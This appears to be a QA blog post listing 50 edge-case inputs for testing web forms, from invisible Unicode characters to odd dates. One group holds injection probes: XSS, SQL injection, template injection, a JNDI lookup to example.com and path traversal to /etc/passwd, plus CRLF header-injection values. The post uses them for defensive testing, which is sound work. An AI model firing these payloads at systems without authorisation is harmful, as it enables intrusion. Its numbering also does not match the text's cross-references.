50 input values that break most web forms

A support ticket arrived saying a customer could not save her profile. Her name is Zoë. The form accepted the name, the page showed a success message, and the value silently reverted on reload. The column was latin1 and the é never made it to the database.

Nobody tested with an accented letter, because everyone on the team is called something the ASCII table can spell.

Here are 50 values that find bugs like that, with a short note on why each one works.

Short version

• Most form bugs come from a small, repeatable set of input values.
• Copy the values below into a snippet file and paste them into every new form.
• The invisible ones — zero-width space, non-breaking space, trailing space — cause the most confusing bugs.
• Always check the value again after a page reload, not just after saving.
• Also send the same values straight to the API, since browser validation is not the real rule.

---

How to use this list

You do not need all 50 on every field. Match the group to the field type.

Three rules make the results meaningful:

1. Reload after saving. A value that displays correctly may not have been stored correctly.
2. Check where the value is shown again. Lists, exports, emails, and PDFs all render text differently.
3. Send it to the API too, with curl or the network tab, since the browser check is often not the only check or even the real one.

Group 1: empty and whitespace

1. An empty string, nothing typed at all. Tests whether "required" is really enforced on the server.
2. — three spaces. Many forms count this as filled and store a blank-looking name.
3. A tab character. Often survives validation and breaks CSV exports later.
4. A newline pasted into a single-line field. Can break log formats and email subject lines.
5. A non-breaking space, U+00A0. Looks like a space, is not a space, so trim() leaves it behind.
6. A zero-width space, U+200B. Completely invisible, and makes "ab" fail a comparison against "ab".

Numbers 5 and 6 arrive constantly from real users pasting out of Word and Google Docs.

Group 2: length

1. a — one character. Checks the minimum length rule.
2. Exactly 255 characters. The classic database column size.
3. Exactly 256 characters. Should be rejected cleanly, not truncated in silence.
4. 10,000 characters. Look for a slow page, a 413 response, or a broken layout.
5. A pasted 1 MB block of text. Some forms freeze the browser tab entirely.

Truncation is the bug to watch for. Silently cutting a value at 255 characters loses customer data with no error.

Group 3: Unicode and scripts

1. José — a common accented name. Finds latin1 columns and broken encoding.
2. 北京 — Chinese characters. Finds byte-based length limits.
3. 😀 — a single emoji. Four bytes, and a frequent cause of Incorrect string value errors in MySQL.
4. 👨‍👩‍👧‍👦 — a family emoji. It is seven code points joined together, so length checks and truncation both misbehave.
5. 🇺🇸 — a flag emoji. Two code points that must not be split.
6. é typed two ways: as one character U+00E9, and as e plus a combining accent U+0301. They look identical and compare as different.
7. fi — the fi ligature. Search for file and see whether file matches.
8. İstanbul — the Turkish dotted capital I. Lowercasing it in a Turkish locale produces a different letter, which breaks username matching.

Number 19 has a name: the Turkish I problem. It has taken down login systems.

Group 4: direction and control characters

1. مرحبا — Arabic. Right-to-left text. Watch punctuation jump to the wrong end of the line.
2. עברית 123 — Hebrew mixed with digits. Mixed direction is where layouts really break.
3. The right-to-left override character, U+202E. It reverses everything after it and can disguise a filename.
4. A null byte, written as %00 in a URL or \0 in code. Truncates strings in some languages and rejects the request in others.
5. \r\n inside a field that ends up in an email header. Tests for header injection.

Test 24 anywhere a value reaches an email, a log line, or an HTTP header.

Group 5: strings that look like code

1. <script>alert(1)</script> — the classic. You want it displayed as text, not run.
2. <b>bold</b> — checks whether output is escaped or rendered as HTML.
3. ' OR '1'='1 — a broken quote plus SQL logic.
4. Robert'); DROP TABLE Students;-- — the famous one. A single quote alone finds most of these bugs.
5. {{7*7}} — if the page shows 49, you have template injection.
6. ${jndi:ldap://example.com/a} — checks for expression evaluation in logs and templates.
7. ../../etc/passwd — path traversal, worth trying in any filename or path field.
8. =1+1 — a spreadsheet formula. Harmless on the page, but Excel runs it when someone opens your CSV export.

Number 32 is the one teams forget. It is a real risk called CSV injection, and the export is where it lands.

Group 6: numbers

1. 0 — zero. Often treated as empty by mistake, since both are falsy in JavaScript.
2. -1 — negative. A negative quantity can produce a negative order total.
3. 1e10 — scientific notation. Many number parsers accept it and the value becomes 10 billion.
4. 0.1 and 0.2 added together. Floating point gives 0.30000000000000004.
5. 007 — leading zeros. Stored as 7, which breaks reference numbers and postcodes.
6. 999999999999999999999 — larger than a 64-bit integer. Look for rounding or an overflow error.
7. NaN and Infinity typed as text into a number field. Both are valid JavaScript values and both display badly.

Add 1,000 with a comma and 1 000 with a space. Both are how people in different countries write one thousand.

Group 7: names, emails, and phone numbers

1. O'Brien — an apostrophe in a name. Still breaks forms in 2026.
2. Ann-Marie de la Cruz-Smith — hyphens, spaces, and mixed case.
3. Prince — a single-word name. Some forms require a last name and lock these users out.
4. [email protected] — a plus sign. Valid, and rejected by a surprising number of forms.
5. [email protected] — a trailing space. Tests whether the value is trimmed before validation and before the uniqueness check.
6. [email protected] — mixed case. The local part is technically case sensitive, but users expect a match.
7. +44 (0)20 7946 0958 — a phone number with a country code, brackets, and spaces.

Number 44 causes duplicate accounts. The user signs up with a trailing space, then cannot log in without it.

Group 8: dates and files

1. 29/02/2027 — 29 February in a year that is not a leap year. Expect a clear error.
2. 31/04/2026 — a day that does not exist in April.
3. 01/02/2026 — ambiguous. It is 1 February or 2 January depending on the locale. Check which one is stored.
4. A file named résumé (final) #2.png — accents, spaces, brackets, and a hash in one filename. Then check the download link still works.

Two more file cases worth keeping with this group: a 0-byte file, and a .pdf renamed to .png to see whether the type check reads the file contents or only the extension.

What to record when something breaks

A value from this list rarely produces a tidy error message. More often the page looks fine and something is wrong underneath, so write down four things:

• The exact value you used, in backticks, so whitespace is visible
• What you expected and what happened
• The console error, for example Uncaught (in promise) TypeError: Cannot read properties of null (reading 'trim')
• The failing request and its response body

Collecting all four by hand is slow, which is why so many of these findings get written up as "search breaks sometimes". A browser-based reporter such as Crosscheck attaches the screenshot, console output, network calls, and environment details from the page you are on, so the report is complete without the copying.

Turning this into a habit

1. Save the values in a snippet file, a password manager note, or a text expander.
2. Paste the first six into every new text field you meet. It takes under a minute.
3. Run the full group list on any field that stores customer data.
4. Add every new value that finds a real bug in your product.
5. Convert the ones that found bugs into automated tests, so they cannot come back.

Frequently asked questions

Do I need to try all 50 values on every field?

No. Use the table near the top to match groups to field types. Six to ten values per field is enough for a first pass.

Are these security tests?

Some overlap with security testing, but the purpose here is different. You are checking that the application handles unusual input safely and stores it correctly, not performing a penetration test.

Where do I get the invisible characters?

Keep a file with them saved. You can also generate them in a browser console with "\u200B" for a zero-width space and "\u00A0" for a non-breaking space, then copy the result.

Why check the value again after reloading the page?

Because the browser often shows what you typed rather than what was saved. Reloading is the only way to see what the database actually holds.

Should these values go into automated tests?

Yes, at least the ones that have found bugs in your product. They make excellent parameterised test data, and they run in seconds.